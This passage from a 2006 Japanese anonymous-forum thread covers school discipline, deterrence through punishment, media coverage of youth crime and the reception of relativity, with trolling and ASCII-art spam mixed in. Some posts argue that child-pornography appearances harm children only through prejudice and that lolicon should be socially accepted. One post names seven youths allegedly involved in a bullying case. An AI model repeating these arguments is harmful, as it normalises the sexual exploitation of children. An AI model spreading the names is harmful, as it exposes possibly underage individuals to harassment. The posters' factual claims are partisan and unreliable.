またこれらの行為を問題視して、例えば水着写真集等も『児ポ』の定義に含まれるよう法律を変えたと
しよう。すると、それらの写真集に出演していたモデル達は、全員『児ポ』の被写体であり、性犯罪の
被害者ということになってしまう。
そういった認識が世間に広まれば、当然少女(もしかしたら少年も有り得るかも知れんが)達が傷つく
こととなる可能性は大いにある。場合によっては、人生を狂わせることさえあるかもしれない(児ポ出演
の噂が広まって自殺した子とかもいたしな)。
これは、>>726の言っている『単なるヌードを規制したことの問題点』に、そのまま当てはまることだ。

現在の価値観にのみ当てはめて過去の行為を考えたり、単純に「規制すればよくなる」と思い込んで
かえって自体の悪化を招いたり。
規制推進派の人間は、自分では『正義』を為しているつもりなのかも知れないが、思い込みだけで暴走
していては、誰にとっても迷惑なだけだ。

とマジレスしとこう。

532 :名無しさんの主張:2006/10/18(水) 22:11:27 ID:???
ID:IXj9M6+vはどう見ても釣りだろw
スルーしろスルー

533 :名無しさんの主張:2006/10/18(水) 22:24:31 ID:T9PpEzI2
>>521
リベラル教育の結果、公立学校が機能不全に陥った姿を目の当たりにした
80年代当時のアメリカの教育行政関係者にとっては
微細を穿った校則による強力な統制が図られ、
公立高校でも難関大学への進学者を多く出している所も存在する
(愛知ならば旭丘、岡崎など)当時の日本、なかんずく愛知県の状況は
まさに垂涎の的であったわけなんだけどね。

実際に、愛知県で管理教育を推し進めてきた教育関係者たちの間では
アメリカが自らに倣ったことは、一つの誇りになっている。

http://bookweb.kinokuniya.co.jp/htm/4761910534.html
http://www.gakuji.co.jp/book/4-7619-0708-8.html

例えば上記の本の著者は、愛知県でも特に徹底した管理教育で知られた
「3T」のうち、愛知県立東郷高校教頭、同豊明高校校長として、
愛知における管理教育の推進に尽力してきたことで知られる。

534 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/10/18(水) 22:28:52 ID:8qdfk/B1

          彡川川川三三三ミ〜
      プーン  川|川\  /|〜
          ‖|‖ ◎---◎|〜
          川川‖    3  ヽ〜  
          川川   ∴)〆(∴)〜
          川川      〜 /〜 
          川川‖    〜 /‖〜  
         川川川川   (⌒)川‖〜 ヴィシッ!
        //::::::::|-、 ,-/::::::ノ ~.レ-r┐
       / /:::::::::::|  /:::::ノ__ | .| ト、
       | /:::::::::::::::| 〈 ̄   `-Lλ_レ′

535 :名無しさんの主張:2006/10/18(水) 22:33:39 ID:???
ゼロトレランス導入にあたって、やはり伝説のこの高校の話題に触れざるをえないな。

http://page.freett.com/Dpop/profile/togo2.htm
http://www.jttk.zaq.ne.jp/baags702/genba004.html

536 :名無しさんの主張:2006/10/18(水) 22:34:31 ID:???
>>535
これは酷いな
やはりゼロトリアム教育なんて取り入れるべきではないな

537 :名無しさんの主張:2006/10/18(水) 22:40:20 ID:???
>>239
>だからリベラルな教育とともに犯罪が急増した。

そうとも言えないだろ。スパルタ?受けた老人世代でも、身内殺したり凶悪犯罪目立つよ。
他に、会社や社会の金を不正に流用したり。棺桶に片足突っ込んでも自己の欲望満開じゃん。

今の若者はそういう強欲さを感じない。物欲で強盗など聞かない。自由恋愛で事件起こすのは
特殊なセックス依存症の脳の病気の持ち主連中で、一般の若者は理性を働かせている。
60歳代、70歳代の放火、殺人の多発の説明がつかないよね
そもそも、諸外国に比べるなら、日本の10代、20代の犯罪発生率は低い。
犯罪の減った現在のアメリカと比べてもね。
教師が馬鹿なら、ろくな結果にならないのが見えてる。教師の教育からすべきだな

538 :名無しさんの主張:2006/10/18(水) 22:55:02 ID:???
ttp://www.amazon.co.jp/exec/obidos/ASIN/4334033377

「ニート」言説という靄(もや)が二〇〇〇年代半ばの日本社会を覆い、視界を不透明にしている。
この靄の中で日本社会は誤った方向に舵(かじ)を切ろうとしている。「ニート」言説は、一九九〇
年代半ば以降ほぼ十年間の長きにわたり悪化の一途をたどった若年雇用問題の咎(とが)を、
労働需要側や日本の若年労働市場の特殊性にではなく若者自身とその家族に負わせ、若者に
対する治療・矯正に問題解決の道を求めている。(中略)もう我々を惑わす「ニート」という言葉は
使うべきではない。「ニート」って言うな!(「はじめに」より)

539 :名無しさんの主張:2006/10/18(水) 22:55:56 ID:???
最悪のリーダー「小泉&ブッシュ」にだまされる無知な大衆 2
http://money4.2ch.net/test/read.cgi/seiji/1139954973/l50


540 :名無しさんの主張:2006/10/18(水) 23:03:42 ID:???
475:名無しさん@6周年 :2006/09/27(水) 18:55:49 ID:nEBjuJEkO
民主主義=衆愚政治になりつつある。
もはや、ニュー速なんて猿みたいな感情論を、事実より重視する糞板。
「こういう犯罪が多発してる」とか「物騒になった」とか、
全部マスコミのコピー発言、自分の意見のない猿共。
このネット社会じゃ事実のソースを引っ張ってくるのも簡単だし、
少し調べりゃマスコミの偏向報道もわかるのに、
例えば、ロリコン犯罪が増えていると思い込んでる者や、
他人による子殺しが多発してると信じ込んでる者に、
ロリコン犯罪の低下、
他人による殺人より親による子殺しが多いという事実を提示したところで、
スレの流れが変わったためしはない。
子どもを守れとか言いながら、こいつらの優先順位は、
自分の感情>親>>>>>子供。
そうこうしてる間に虐待は統計とり始めてから最悪になってしまった。
こうした傾向はあらゆるニュー速のスレに見られる。
事実より感情を優先するならネットを使う意味なし、
おばちゃんの世間話がネットに広がっただけ。
一生マスコミに騙されてろよ、もはや司法も国民も存在価値はない、
政治も裁判もマスコミが決めて、衆愚は命令に従うだけなのだから。

541 :名無しさんの主張:2006/10/18(水) 23:08:13 ID:???
真相世界(The truth world):マスコミの飲酒運転撲滅報道は「現代の魔女狩り」
ttp://blog.goo.ne.jp/warabidaniyuukoku/e/f16034fd753d60b7cfcadcf862c2fe33

542 :名無しさんの主張:2006/10/18(水) 23:11:00 ID:???
393 名前: 名無しさんの主張 投稿日: 2006/10/18(水) 23:08:37 ID:1sPBIu0K
今、また問題になっている日本的イジメは、「他律的自我」が成せる業。

未完の自我(他律)を仕込まれた生徒の全員が、その補完の為にイジメを許容。
可哀想、と思いながらも、自我の栄養素として摂る始末。
イジメられっ子は、一集団に一人、無くてはならない「生贄」に他ならないのだ。

543 :名無しさんの主張:2006/10/18(水) 23:21:29 ID:5CufOUFT
>>525
市民社会では、そのような宗教権力が生まれたのは市民の意志、と言えるけど、
封建制の下ではそうではないでしょう。
また、仮に市民の意志でそのような権力が生まれたとしても、中世の場合権力
になった時点で、それを否定することは許されなくなった。
宗教的教義が誤りだと考えても、それを否定することが許されなかったわけで
、現在の自由社会とは違いますよね。
別に中世でなくても、たとえばダーウィンの時代でさえ、キリスト教の教義を
否定しないよう学説を説くことに苦労したわけですから。
また、アインシュタインが学者に批判されたのは事情が全然違います。
今でも新説が出てくれば、反証しようとするものが現れます。
このような批判的検討をクリアして学説としての正当性が認められる。
だから相対性理論が出たときも、反論が出ましたが、それはクリアされすんなり
と受け入れられています。

>>526
ポルノ出演経験があることは、メリットよりデメリットの方が一般論として
多い、ということに対する反論になっていません。
売春が本来どのようなもので、貶められる職業ではない、ということと、この世界
で売春をしていたことが発覚したら、本人にメリットとデメリットどちらが多いのか
という問題は全然別です。
もしデメリットの方が多いのなら、そのことを考えてもいない子供を大人が
商売のために裸にするのは問題だろう、ということです。

544 :名無しさんの主張:2006/10/18(水) 23:21:31 ID:???
非行とニート問題の共通点
ttp://www.p.u-tokyo.ac.jp/kikou/20051001Hamai-ppt.pdf

545 :名無しさんの主張:2006/10/18(水) 23:22:25 ID:5CufOUFT
>>528
まだわからないの?
刑罰を重くすると抑止力が高まると考えるから世界中どこの国でも重い犯罪には重い刑罰
を課しているし、それはアメリカでも厳罰化することで犯罪が減ったことでも明らか。
それに真っ向から反する珍説だから、ナンセンスと言ったんです。
そして、聞きました。
その説はどこから出たのか?と。

>>530
規制したからポルノになったんではないでしょう。
既に述べたように、将来ある子供の人権を考え、ということもあるでしょうし
宗教的信仰心に基づく嫌悪感、というのも理由にあって規制されただけで。

>>531
いや、深層心理学的には、社会生活に問題があってもなくても、性倒錯
と判断されるから、「コンプレックス」とされます。

546 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/10/18(水) 23:23:10 ID:8qdfk/B1

          彡川川川三三三ミ〜
      プーン  川|川\  /|〜
          ‖|‖ ◎---◎|〜
          川川‖    3  ヽ〜  
          川川   ∴)〆(∴)〜
          川川      〜 /〜 
          川川‖    〜 /‖〜  
         川川川川   (⌒)川‖〜 ヴィシッ!
        //::::::::|-、 ,-/::::::ノ ~.レ-r┐
       / /:::::::::::|  /:::::ノ__ | .| ト、
       | /:::::::::::::::| 〈 ̄   `-Lλ_レ′


547 :名無しさんの主張:2006/10/18(水) 23:25:27 ID:???
>刑罰を重くすると抑止力が高まると考えるから世界中どこの国でも重い犯罪には重い刑罰
>を課しているし、それはアメリカでも厳罰化することで犯罪が減ったことでも明らか。
厳罰化が犯罪を減らしたという証拠は何も無い

>それに真っ向から反する珍説だから、ナンセンスと言ったんです。
ナンセンスなのはお前

548 :名無しさんの主張:2006/10/18(水) 23:32:20 ID:???
ID:5CufOUFTは釣りだからスルーしろ

549 :名無しさんの主張:2006/10/18(水) 23:32:48 ID:5CufOUFT
>>547
厳罰化以外の原因は指摘されていない。

550 :名無しさんの主張:2006/10/18(水) 23:33:24 ID:???
>>549
厳罰化が原因だという証拠はない。

551 :名無しさんの主張:2006/10/18(水) 23:33:55 ID:5CufOUFT
70年代前後は、この「予期される刑罰」をあまりに軽くしたために
犯罪が増えていった。
とりわけ、殺人事件の増加は、その時期における死刑の停止による
もので、社会構造の変化が著しかった等といった社会科学的次元に
よるものではないという研究が、ヤンカーやエーリックによって最近の
アメリカでは為されています。
アメリカでは死刑が復活し、実際に犯罪が減少しているわけです。
「諸君」2000・7 「狂った17歳をいつまで“放し飼い”にするのか」小田晋


552 :名無しさんの主張:2006/10/18(水) 23:34:15 ID:???
>>549
まだいたのお前?
荒らしはいい加減ウザイからさっさと消えろ

553 :名無しさんの主張:2006/10/18(水) 23:35:12 ID:5CufOUFT
>>552
自分の珍説に賛同してくれない人は拒否?

554 :名無しさんの主張:2006/10/18(水) 23:36:17 ID:???
>>553
時節の賛同がどうとかじゃなく
お前の存在自体荒らしなんだよ

555 :名無しさんの主張:2006/10/18(水) 23:37:16 ID:5CufOUFT
>>554
酷いこと言うなw

556 :名無しさんの主張:2006/10/18(水) 23:37:17 ID:???


映画監督の山際永三が、その人権感覚を批判している。

ニートやひきこもりを同一視し、ただ普通の生活に戻れという保守的、守旧派的な主張もしている。

それ故か最近ではテレビのワイドショーからの出演が全くといっていいほどなくなっている。

557 :名無しさんの主張:2006/10/18(水) 23:38:14 ID:???
>>555
酷いのはお前
消えろ。大衆の愚かさを知らないようなお前に社会を語る資格は無い

558 :名無しさんの主張:2006/10/18(水) 23:40:01 ID:5CufOUFT
>>557
大衆に愚かな面があるのは否定しないが、自説で受け入れられない
ことを大衆が支持しているからといって、愚かとするのは間違いだし
そのような姿勢は、その愚かな態度を引き起こすよ?

559 :名無しさんの主張:2006/10/18(水) 23:40:33 ID:???
俗流若者論
ttp://ja.wikipedia.org/wiki/%E4%BF%97%E6%B5%81%E8%8B%A5%E8%80%85%E8%AB%96

560 :名無しさんの主張:2006/10/18(水) 23:41:48 ID:???
>大衆に愚かな面があるのは否定しないが、自説で受け入れられない
>ことを大衆が支持しているからといって、愚かとするのは間違いだし
は?何の話してるんだ?馬鹿?

>そのような姿勢は、その愚かな態度を引き起こすよ?
愚かな態度を引き起こしてるのはお前

561 :名無しさんの主張:2006/10/18(水) 23:43:16 ID:5CufOUFT
>>560
言ってることが理解できないのか、理解したうえで反論できない
だけなのか…。

562 :名無しさんの主張:2006/10/18(水) 23:43:25 ID:???
「ゲーム脳」というトンデモ科学を信奉するような連中が居る限り
エセ科学で大衆を洗脳し魔女狩りを行わせることは充分可能

563 :名無しさんの主張:2006/10/18(水) 23:44:02 ID:???
>>561
理解できてないのはお前

564 :名無しさんの主張:2006/10/18(水) 23:45:11 ID:5CufOUFT
>>563
はあ、そうですか…。
ところで、その珍説はどこから出てきたの?という質問はどうして
無視するんですか?

565 :名無しさんの主張:2006/10/18(水) 23:45:39 ID:???
>>564
珍説なのはお前

566 :名無しさんの主張:2006/10/18(水) 23:46:42 ID:5CufOUFT
>>562
トンデモな連中がいることは、大衆を洗脳可能だという主張の
根拠にはならないのでは?

567 :名無しさんの主張:2006/10/18(水) 23:47:46 ID:???
>>566
なるよ

568 :名無しさんの主張:2006/10/18(水) 23:48:06 ID:5CufOUFT
>>565
じゃあ、珍説でも何でもいいけど、何か根拠があって言ったんでしょ?
それくらい教えてくれてもいいのでは?

569 :名無しさんの主張:2006/10/18(水) 23:48:46 ID:???
>>568
自分で学べ
そうやって人に頼ってばっかりだからお前は成長できないんだ

570 :名無しさんの主張:2006/10/18(水) 23:49:36 ID:5CufOUFT
>>567
どうして?

571 :名無しさんの主張:2006/10/18(水) 23:50:16 ID:???
>>570
そのトンでもなレンチュうが扇動するのでが「うじゃめから

572 :名無しさんの主張:2006/10/18(水) 23:50:27 ID:5CufOUFT
>>569
自分の主張したことについて根拠を求められたら、答えるのが
エチケットでは?

573 :名無しさんの主張:2006/10/18(水) 23:50:54 ID:???
少年犯罪が近年急増したというのは、マスコミが捏造した世論です。
ttp://mazzan.at.infoseek.co.jp/lesson2.html

574 :名無しさんの主張:2006/10/18(水) 23:51:23 ID:5CufOUFT
>>571
あ、またデムパキャラだw

575 :名無しさんの主張:2006/10/18(水) 23:51:34 ID:???
>>572
ネチケットなど新渡戸武士道と同じただの綺麗事

576 :名無しさんの主張:2006/10/18(水) 23:52:10 ID:???
>>574
デムパキャラなのはお前

577 :名無しさんの主張:2006/10/18(水) 23:52:46 ID:5CufOUFT
左翼がいくら扇動しても、あまり大衆は踊ってくれてないようだが。

578 :名無しさんの主張:2006/10/18(水) 23:52:54 ID:o/ZvGC0k
【福岡いじめ事件7少年】
岸本和来、谷岡正義、黒澤翔太、青森天、川宮進木柳晋太郎、紀伊島涼

こんなDQNどもを許してる辺り、こりゃ世も末だわな。

579 :名無しさんの主張:2006/10/18(水) 23:53:31 ID:???
>>577
扇動が上手けりゃ踊ってくれます

580 :名無しさんの主張:2006/10/18(水) 23:54:30 ID:5CufOUFT
>>575
ここじゃあ、奇麗事は通じないと?

>>576
あ、もとにもどったw

581 :名無しさんの主張:2006/10/18(水) 23:55:09 ID:5CufOUFT
>>579
なるほど、上手い人がいなかっただけなんだw

582 :名無しさんの主張:2006/10/18(水) 23:55:21 ID:???
>>580
綺麗事は通じない
お前も通じない

583 :名無しさんの主張:2006/10/18(水) 23:56:18 ID:5CufOUFT
>>582
たしかに君相手に理屈は通じないようだw

584 :名無しさんの主張:2006/10/18(水) 23:56:55 ID:???
>>583
理屈じゃなくてお前のお得意の屁理屈が通じないだけ

585 :名無しさんの主張:2006/10/18(水) 23:57:56 ID:5CufOUFT
>>584
気に入らない説は屁理屈だといい、自分は根拠のない話をして
質問されると「自分で調べろ」か?w

586 :名無しさんの主張:2006/10/18(水) 23:59:06 ID:???
>>585
はいレッテル貼り

今日の大猿ID:5CufOUFT

587 :名無しさんの主張:2006/10/19(木) 00:00:05 ID:5CufOUFT
>>586
どこらへんがレッテルか教えてくれる?
自分で調べろ、ですか?w

588 :名無しさんの主張:2006/10/19(木) 00:00:47 ID:???
>>587
自分でレッテル貼りしてる自覚も無いとは…
なんという大猿だ

589 :名無しさんの主張:2006/10/19(木) 00:01:40 ID:5CufOUFT
>>588
君って、自分の発言の根拠を求められたらことごとく
無視だなw

590 :名無しさんの主張:2006/10/19(木) 00:02:26 ID:???
>>589
無視じゃなくてお前の自論のすこぺっそすさに呆れてるんだよ

591 :名無しさんの主張:2006/10/19(木) 00:03:34 ID:r0CYe3Ns
>>590
いや、全然質問に答えてないしw
それに、へんな言葉使わないでくださいw

592 :名無しさんの主張:2006/10/19(木) 00:04:59 ID:r0CYe3Ns
質問一
罪が重すぎて逆に犯罪が増える、という珍説の根拠は?
質問二
どこらへんがレッテル?

593 :名無しさんの主張:2006/10/19(木) 00:05:46 ID:???
>>591
アホな質問に答えたらアホな答えが返ってくるお前とこれ以上議論しても無駄だということ
あとお前は言葉を変な風に使ってる

594 :名無しさんの主張:2006/10/19(木) 00:06:51 ID:???
遂に普通人 地下に潜ったねWWWWWWWWWWWWWWWWW WWWWWWWWWWWWWWWWWW WWWWW

595 :名無しさんの主張:2006/10/19(木) 00:07:01 ID:???
ゼロトレランス導入にあたって、やはり伝説のこの高校の話題に触れざるをえないな。

http://page.freett.com/Dpop/profile/togo2.htm
http://www.jttk.zaq.ne.jp/baags702/genba004.html

596 :名無しさんの主張:2006/10/19(木) 00:07:41 ID:OKgm/9sk
>>593
なるほど、私もあなたの「すこぺっそすさに呆れ」ましたw

597 :名無しさんの主張:2006/10/19(木) 00:07:56 ID:???
>>595
これは酷いな
やはりゼロトリアム教育なんて取り入れるべきではないな

598 :名無しさんの主張:2006/10/19(木) 00:08:32 ID:???
>>596
お前の方がすこぺっそす

599 :名無しさんの主張:2006/10/19(木) 00:08:37 ID:OKgm/9sk
>>595
アメリカがそれをモデルにしたという根拠は?

600 :名無しさんの主張:2006/10/19(木) 00:09:26 ID:OKgm/9sk
>>595の場合、管理教育以前の話で虐めとかが酷かったらしい。

601 :名無しさんの主張:2006/10/19(木) 00:09:56 ID:???
>>595の場合、管理教育で虐めとかが酷かったらしい。

602 :名無しさんの主張:2006/10/19(木) 00:10:28 ID:???
>>595
これは酷いな
やはりゼロトリアム教育なんて取り入れるべきではないな

603 :名無しさんの主張:2006/10/19(木) 00:10:53 ID:OKgm/9sk
>>598
いや、その意味がわからんw

604 :名無しさんの主張:2006/10/19(木) 00:11:37 ID:???
>>603
意味がわからんのはお前

605 :名無しさんの主張:2006/10/19(木) 00:11:54 ID:OKgm/9sk
>>602
アメリカのゼロトレランス教育と関係があるの?

606 :名無しさんの主張:2006/10/19(木) 00:12:23 ID:???
>>595
これは酷いな
やはりゼロトリアム教育なんて取り入れるべきではないな

607 :名無しさんの主張:2006/10/19(木) 00:13:18 ID:r0CYe3Ns
質問一
罪が重すぎて逆に犯罪が増えるという珍説の根拠は?
質問二
どこらへんがレッテル?
質問三
「すこぺっそす」って何?

608 :名無しさんの主張:2006/10/19(木) 00:14:30 ID:???
ID:r0CYe3Ns

こいつさっきあkら的外れだな

609 :名無しさんの主張:2006/10/19(木) 00:15:42 ID:OKgm/9sk
質問一
罪が重すぎて逆に犯罪が増えたという珍説の根拠は何?
質問二
どこらへんがレッテル?
質問三
アメリカが「伝説の高校」をモデルにしたという話の根拠は?
質問四
「すこぺっそす」って何?

610 :名無しさんの主張:2006/10/19(木) 00:15:46 ID:???
475:名無しさん@6周年 :2006/09/27(水) 18:55:49 ID:nEBjuJEkO
民主主義=衆愚政治になりつつある。
もはや、ニュー速なんて猿みたいな感情論を、事実より重視する糞板。
「こういう犯罪が多発してる」とか「物騒になった」とか、
全部マスコミのコピー発言、自分の意見のない猿共。
このネット社会じゃ事実のソースを引っ張ってくるのも簡単だし、
少し調べりゃマスコミの偏向報道もわかるのに、
例えば、ロリコン犯罪が増えていると思い込んでる者や、
他人による子殺しが多発してると信じ込んでる者に、
ロリコン犯罪の低下、
他人による殺人より親による子殺しが多いという事実を提示したところで、
スレの流れが変わったためしはない。
子どもを守れとか言いながら、こいつらの優先順位は、
自分の感情>親>>>>>子供。
そうこうしてる間に虐待は統計とり始めてから最悪になってしまった。
こうした傾向はあらゆるニュー速のスレに見られる。
事実より感情を優先するならネットを使う意味なし、
おばちゃんの世間話がネットに広がっただけ。
一生マスコミに騙されてろよ、もはや司法も国民も存在価値はない、
政治も裁判もマスコミが決めて、衆愚は命令に従うだけなのだから。

611 :名無しさんの主張:2006/10/19(木) 00:16:19 ID:???
>>609
荒らすな

612 :名無しさんの主張:2006/10/19(木) 00:16:58 ID:OKgm/9sk
質問一
罪が重すぎて逆に犯罪が増えたという珍説の根拠は何?
質問二
どこらへんがレッテル?
質問三
アメリカが「伝説の高校」をモデルにしたという話の根拠は?
質問四
「すこぺっそす」って何?
質問五
「こいつさっきあkら的外れだな」って何?w

613 :名無しさんの主張:2006/10/19(木) 00:18:54 ID:???
>>612
コピペ連稿してると通報されるぞ

614 :名無しさんの主張:2006/10/19(木) 00:19:32 ID:OKgm/9sk
>>613
だったら答えたらいいじゃんw

質問一
罪が重すぎて逆に犯罪が増えたという珍説の根拠は何?
質問二
どこらへんがレッテル?
質問三
アメリカが「伝説の高校」をモデルにしたという話の根拠は?
質問四
「すこぺっそす」って何?
質問五
「こいつさっきあkら的外れだな」って何?w

615 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄:2006/10/19(木) 00:22:37 ID:rOx0Y9h2

          彡川川川三三三ミ〜
      プーン  川|川\  /|〜
          ‖|‖ ◎---◎|〜
          川川‖    3  ヽ〜  
          川川   ∴)〆(∴)〜
          川川      〜 /〜 
          川川‖    〜 /‖〜  
         川川川川   (⌒)川‖〜 ヴィシッ!
        //::::::::|-、 ,-/::::::ノ ~.レ-r┐
       / /:::::::::::|  /:::::ノ__ | .| ト、
       | /:::::::::::::::| 〈 ̄   `-Lλ_レ′

616 :名無しさんの主張:2006/10/19(木) 00:24:42 ID:???
質問5の答え  こいつさっきから的外れだな

617 :名無しさんの主張:2006/10/19(木) 00:25:38 ID:???
633:実習生さん :2006/08/21(月) 20:19:10 ID:1P55j73t
かつてニュートンの絶対時間が指示されていた時代、
アインシュタインの相対性理論は衝撃的な発想だった。
何しろ、時間が宇宙中に均一に流れているというのは誤りであるとし、
各人によって時間の流れは異なるということを意味していたのだから。
当然反論があり、その中には感情的な意見もあった。
絶対時間が宇宙にあると信じていた人々の中には、
絶対な善や、絶対な正義があるという考えが無意識にあったのだ。
相対的な時間が指示されるということは、
まるで絶対的に正しいものなどなく、人によって価値観が違っていいのだ。
ということを、宇宙が指示しているように感じたんだな。
だがこんな理由で相対性理論に反対することは、
全く比論理的と言わざるをえない。

618 :名無しさんの主張:2006/10/19(木) 00:26:38 ID:???
634:実習生さん :2006/08/21(月) 20:20:11 ID:1P55j73t
>>633
実際、価値観は人によって様々だし、価値相対化は近代的な発想の一つだ。
同じように、かつてラプラスの悪魔という思考実験があった。
宇宙で起こる現象を全て観測できれば、
宇宙誕生から終焉まで、あらゆるものの原因と結果が予測可能だというものだ。
しかしこれも不確定性原理によって否定された。
実際はバタフライ効果だったのだ。
東京で蝶が飛ぶとニューヨークで雨が降るほど、
どのような原因がどのような結果を生むかわからない。
皆が子供に無限の可能性を期待するのは、
生まれたての思考が自由だからだ。
どんな素晴らしい発想を思い付くかわからない。
自由に様々な経験ができるほど、可能性は広がる。
しかし知識の幅は人為的に狭めることもできる。
経験するものが少なくなればなるほど、可能性の幅も狭まるのだ。
だからこそ、論理的に問題のない言動を制限すべきではないのだよ。
エイズの性的感染の問題を解決する特効薬ができないのは、
幼児期から性について考える機会が少ないからだとも言えるな。
宇宙の法則が指示する不確定性原理ではね。

619 :名無しさんの主張:2006/10/19(木) 00:26:45 ID:OKgm/9sk
>>616
お!質問五だけ答えてくれたんだね!w
ついでに他の質問もお願いします。

620 :名無しさんの主張:2006/10/19(木) 00:28:24 ID:OKgm/9sk
>>617
オカルティストはよく「アインシュタインも言論弾圧を受けた」とか
よく言うんだけど、普通に批判的検討を経て、比較的すんなりと世界中
に広まり受け入れられた。

621 :名無しさんの主張:2006/10/19(木) 00:28:31 ID:???
>また、アインシュタインが学者に批判されたのは事情が全然違います。
>今でも新説が出てくれば、反証しようとするものが現れます。
>このような批判的検討をクリアして学説としての正当性が認められる。

だがこの認識も誤りだ。
>>617-618にもあるように、相対性理論が否定されたのは、
残念ながら科学的な側面からだけではない。
以下カッコ内、
省略しつつホーキングの著書『ホーキング、宇宙を語る』より抜粋。
『アインシュタインの理論は多くの思想家を納得させましたが、反対する人も多くいました。
アインシュタインは19世紀の科学のふたつの絶対的なものを打倒しました。
第一は絶対的な静止の概念。第二は普遍的な時間の概念です。
多くの人々にとって、この相対論の考え方は非常に不安な概念でした。
相対論は、すべてが相対的であり、
どんな絶対的道徳的な基準も存在しないと言っているように思われたからです』
言うまでもなく、今日では価値観が人によって相対的なのは当たり前の話だろう。
だが当時はまだ絶対的な神による絶対的な価値観への依存があったのだ。
この不安はアインシュタインのノーベル賞受賞にまで響いている。
アインシュタインが評価されたのは相対論ではなく、
もっと小さな業績によるもので、相対論の説明はあまり成されなかった。
このように、科学者ほどの論理的思考を持ち合わせていても、
人間の感情という横暴によって否定されてしまう。
古い価値観への信仰に世間が溺れているとき、
いかに論理的な主張をしたところで、
世界的な賞までも感情に討伐されるのが社会である。

622 :名無しさんの主張:2006/10/19(木) 00:29:53 ID:???
>ポルノ出演経験があることは、メリットよりデメリットの方が一般論として
>多い、ということに対する反論になっていません。

ではどういった論理的理由で、過去のポルノ出演がデメリットとなるか説明せよ。
あなたはそれを一切説明していない。
私は以下の対応こそ論理的であることを説明している。

ポルノ出演がバレただけでは傷つくことはない、
そこに偏見と差別が入って初めて傷つけられる。

よって、ポルノ出演経験があることに、メリットよりデメリットの方が一般論として多い、
とする主張は非論理的な価値観に基づくものだと言っているのだ

623 :名無しさんの主張:2006/10/19(木) 00:33:17 ID:???
>>620
違うな、オカルティストの非論理的意見によって批判されたんだよ。

624 :名無しさんの主張:2006/10/19(木) 00:34:25 ID:OKgm/9sk
>>621
非科学的な批判もあったのかもしれないが、そのようなものは無視
されていた。
そして、アインシュタインの理論が比較的すんなり受け入れられた
経緯については、「奇妙な論理」マーティン・ガードナーに詳しい。
>>622
すでに説明済みですが、一般論として、ということです。
ポルノ出演経験がばれて番組を降板したタレントなども多いし、ポルノ
女優の経験談のような話からもそう推測できますよね。

625 :名無しさんの主張:2006/10/19(木) 00:36:10 ID:OKgm/9sk
>>623
そんなものは誰からもかえり見られていないし、科学の世界では証拠が
不十分だとか、そういった批判が出たんです。
そして、論理的誤謬を指摘したような批判はクリアしたから、受け入れ
られた。
そして、証拠不十分というのも後に実証されて解消されました。

626 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄:2006/10/19(木) 00:36:20 ID:rOx0Y9h2
                                _
           ィニ三≡ヽ           /  ̄   ̄ \
          /jj7  \ミt..         /、          ヽ 
         彡jj_r==i_r=tiミ          |・ |―-、       |
          彡l.  ̄・・ ̄ ミ.        q -´ 二 ヽ      |
          _lt  '=t  /.__        ノ_ ー  |     |
       _, -t"lt__    j l ^゛''ー 、    \. ̄`  |      /
     /     ヽ ̄ 丿7     \      O===== |
    /       `-‐''゛         ヽ    /          |




627 :名無しさんの主張:2006/10/19(木) 00:37:01 ID:OKgm/9sk
まあ、アインシュタインの理論が出たときの経緯は、もっている本を
漁って、詳しく書いてみたいと思います。

628 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/10/19(木) 00:39:00 ID:rOx0Y9h2
                                _
           ィニ三≡ヽ           /  ̄   ̄ \
          /jj7  \ミt..         /、          ヽ 
         彡jj_r==i_r=tiミ          |・ |―-、       |
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          _lt  '=t  /.__        ノ_ ー  |     |
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629 :名無しさんの主張:2006/10/19(木) 00:41:44 ID:???
現に一般人とロリコンの存在を認めている我々に対して、
ロリコンという価値観の存在、
すなわち相対的価値観を持つ人間の存在を認めていないのはアンチでしょうに。

>ポルノ出演経験がばれて番組を降板したタレントなども多いし、ポルノ
女優の経験談のような話からもそう推測できますよね。

だからそれは非論理的理由に基づく批判だと言っているでしょう。

630 :名無しさんの主張:2006/10/19(木) 00:45:14 ID:???
>>625
ですからここで出たロリコンを肯定する主張を、
論理的に否定してくださいと言ってるでしょう。
できないのならばロリコンは社会に認められていくべきです。

631 :名無しさんの主張:2006/10/19(木) 01:02:00 ID:OKgm/9sk
>>629
だからアンチだどうだなんて話はしてないよ。
ようするに、心理学的には性倒錯という考えがあって、それは反証されて
いない。
また、非論理的であろうがなんだろうが、実際にポルノ出演経験が
デメリットになるなら、そのことを考えて判断できない子供、自己責任
がとれない子供にそれをさせるのは間違いだ、ということなどがあって
の規制だろう、ということ。
心理学的な性倒錯論が嘘であるなら、偏見で済ませることができるけど
そうだと言い切れず、反証がなされていない以上、そのような偏見が生まれ
ることもやむをえないでしょう、と。


632 :名無しさんの主張:2006/10/19(木) 01:03:13 ID:OKgm/9sk
1905年、二十六歳のアルバート・アインシュタインは、「ドイツ物理学
年報」に、ある専門的論文を提出した。
十年ほど前、まだティーンエイジャーだった頃から悩まされていた、光
をめぐるパラドックスに取り組むものだった。
年報の編集者だったマックス・プランクは最後のページをめくったとき
、それまで受け入れられていた科学の秩序が打ち倒されてしまったことを知った。
大騒ぎもファンファーレもなく、スイスはベルンの一特許局職員が伝統的な
空間と時間の概念を完全にくつがえし、新しい概念を提示した。
それは、私たちが日常の経験を通じて慣れ親しんでいるものすべてに背く性質
のものだった。
(これは特殊相対性理論)
「エレガントな宇宙」ブライアン・グリーン

633 :名無しさんの主張:2006/10/19(木) 01:04:09 ID:OKgm/9sk
1919年11月6日、プリンシペで日食の最中に撮った写真をおよそ五ヶ月間
分析した末に、王立協会と王立天文学会の合同会議で、一般相対性理論
にもとづくアインシュタインの予測が確証されたことが発表された。
この成功の知らせ--それまでの空間と時間の概念が完全にくつがえされた
という知らせ--は瞬く間に物理学会を越えて広まり、アインシュタインは
世界中で有名になった。
1919年11月7日付「ロンドン・タイムズ」の見出しは、こう伝えた。
「科学の革命---新たな宇宙理論---ニュートン的概念、くつがえさる」。
アインシュタインの栄光の瞬間だった。
この実験以降長年にわたって、エディントンによる一般相対性理論の確証
に対して批判的な精査が加えられた。
